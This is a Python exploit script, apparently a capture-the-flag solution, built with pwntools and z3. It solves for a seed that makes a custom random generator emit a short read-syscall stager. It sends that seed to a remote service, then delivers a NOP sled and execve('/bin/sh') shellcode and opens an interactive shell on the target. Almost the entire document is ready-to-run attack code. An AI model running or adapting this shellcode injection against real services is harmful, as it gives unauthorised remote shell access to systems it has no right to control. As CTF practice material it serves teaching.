import time
import pwn
import z3
import sys


def ROL(X, N):
    if isinstance(X, z3.BitVecRef):
        return z3.RotateLeft(X,N)
    else:
        return ((((X) << (N)) | ((X) >> (64 - (N)))) % (2 ** 64))


def ROR(X, N):
    if isinstance(X, z3.BitVecRef):
        return z3.RotateRight(X,N)
    else:
        return ((((X) >> (N)) | ((X) << (64 - (N)))) % (2 ** 64))

def custom_random(state):
    NEW_STATE = ROL(state,30) ^ ROR(state,12) ^ ROL(state,42) ^ ROL(state,4) ^ ROR(state,5);
    return NEW_STATE % 256, NEW_STATE;


pwn.context.arch = 'x86_64'


shc = pwn.asm("""
    cdq;
    push rdi;
    xor edi, edi;
    pop rsi;
    xor eax, eax;
    syscall
""")



def get_seed_for_sequence(bytesequence):
    s = z3.Solver() 
    base_state = z3.BitVec("base_state", 64)
    cur_state = base_state
    for byte in bytesequence:
        gen_byte, cur_state = custom_random(cur_state)
        s.add(gen_byte == byte)

    if s.check() != z3.sat:
        raise RuntimeError()

    m = s.model()
    return m[base_state].as_long()

def get_values():

    print(len(shc))

    first_val = pwn.u32(shc[:4])
    print(first_val)

    second_val = get_seed_for_sequence(shc[4:])
    print(second_val)
    print(str(second_val).encode())
    return first_val, second_val

first_val, second_val = get_values()



cs = second_val

for v in shc[4:]:
    b, cs = custom_random(cs)
    print(b, v)
    assert b == v



if len(sys.argv) > 2:
    r = pwn.remote(sys.argv[1], int(sys.argv[2]))
else:
    r = pwn.remote("localhost", 1337)


r.recvuntil(b"at ")

win = int(r.recvline().strip().decode(), 16)

r.sendline(str(second_val).encode())
r.recvuntil(b"?")

r.sendline(str(first_val).encode())


_shc = bytearray([
    0x48, 0x31, 0xd2, 0x48, 0xbb, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xeb,
    0x08, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0xb0, 0x3b, 0x0f,
    0x05, 0x6a, 0x01, 0x5f, 0x6a, 0x3c, 0x58, 0x0f, 0x05
])

time.sleep(.3)

r.send(b'\x90' * (0x10 + len(shc)-4) + _shc)

r.interactive()